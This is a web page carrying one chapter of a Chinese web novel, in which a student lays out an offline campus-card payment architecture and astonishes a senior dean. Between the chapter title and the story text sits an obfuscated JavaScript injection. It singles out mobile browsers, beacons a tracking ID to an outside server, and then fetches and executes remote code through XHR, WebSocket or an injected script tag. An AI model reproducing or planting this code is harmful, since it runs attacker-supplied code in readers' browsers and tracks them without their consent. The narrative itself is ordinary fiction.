第215章 狂妄本色又现(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
确实难不倒。
在接下来的时间里,骆俊鹏又一连问了余文钢很多问题,这些问题有不少是连他自己都还没想到解决方案的,可余文钢却轻松给出了可行的解决思路。
打个比方说,在校园卡应用设计中,难度最大的一个问题就是离线消费。
在这一点上,校园卡与银行卡的使用也是有很大区别的。
在银行卡的使用上,所有的交易都是在线交易,一旦终端机无法与银行信息中心进行在线数据交互,交易便无法进行。
可是在校园卡的使用中,百分百实现在线消费基本是不可能的,这是因为校园卡的刷卡终端很可能遍布整个校园,很多地方都并不具备联网功能,就算是联网的终端,随时都有可能出现断网的可能。
打个比方说,设置在食堂的刷卡终端,一旦停电或者是断网的情况,就会与校园卡的信息中心失去联系,在这种情况下,若是校园卡无法使用了,食堂的饭菜不能卖了,那问题就大了。
余文钢的解决方案也很简单,那就是直接将其设计成一个离线消费系统。
所谓离线消费系统,是指校园卡系统在设计时,存入校园卡的钱,不仅会被记录在信息中心的后台数据库中,还会记录在使用者所持有的ic卡中。
一旦断网,任何一台刷卡机都可以独立地根据内置的程序和配置先来完成刷卡操作,然后再在网络连通时将操作结果回传给信息中心的后台服务器。
同样,交易记录还会记录在用户的ic卡中,一旦使用者到联网的刷卡机上再次刷卡,之前未被回传的交易记录也会被传回信息中心的后台服务器。
按照这种设计,整个系统将最大程度地降低对网络和服务器后台的依赖,使得整个校园卡系统得以长期平稳运行。
这解决思路实在是太完美了!
在短时间内,骆俊鹏根本就挑不出任何毛病来。
这又让他十分的惊讶。
在任何系统的开发设计中,其实最难的地方并不在于技术实现,而是在于整个系统的架构,一旦系统在架构过程中思路清晰、明确,预先解决了所有可能面对的难题,那技术实现也就没太大难度可言了。
因此,在经过一席长谈之后,骆俊鹏已不再认为余文钢是异想天开,而是认为这一系统真有被余文钢完美地实现的可能。
这实在是让他震惊。
这么一个复杂的系统,就算是由他这位资深技术专家来架构,在短时间内,他也很难架构出如此近乎完美的架构方案来。
也就是说,就算已经知道余文钢是计算机天才,可他今天的表现,还是让骆俊鹏大跌眼球,远远超出他的预料。
这只是天才吗?
这是比天才还天才的超级天才啊!
“小余,太好了,你先花点把完整的架构方案给弄出来,然后我们再细细讨论,一旦可行的话,就由我亲自来牵头成立项目组,加速在学校内推进这一项目。”
骆俊鹏又极为兴奋地表态了。
这是必须的。
要知道,教育信息化原本就是教育部下达给各大高校必须加速完成的重要任务,而在江大,学校又将此任务下发了计算机学院、电信院及网络中心,其中网络中心负责校园网的建设,而计算机学院和电信院则负责应用系统的设计开发。
也就是说,在这一项目上,电信院和计算机学院又存在着明显的竞争关系,只是因为这一任务实在是太过于巨大,不管是电信院还是计算机学院,都还没找到任务开始的突破点,所以项目迟迟没有开始。
而现在,余文钢的校园卡项目,算是为电信院带来了突破口,如果骆俊鹏能抓住的话,电信院就将在和计算机学院的竞争者遥遥领先。
甚至于说,这有可能在全国都遥遥领先。
据骆俊鹏所知,在教育信息化这一任务上,不仅只有江大尚未真正开始,就算是清华北大那种全国领先的高校,在这方面都暂时还没有明显的动作。
因此,一旦此项目加速实现,骆俊鹏就将迎来巨大的荣誉和政绩。
此时的余文钢却沉默了。
由骆院长亲自牵头来成立项目组?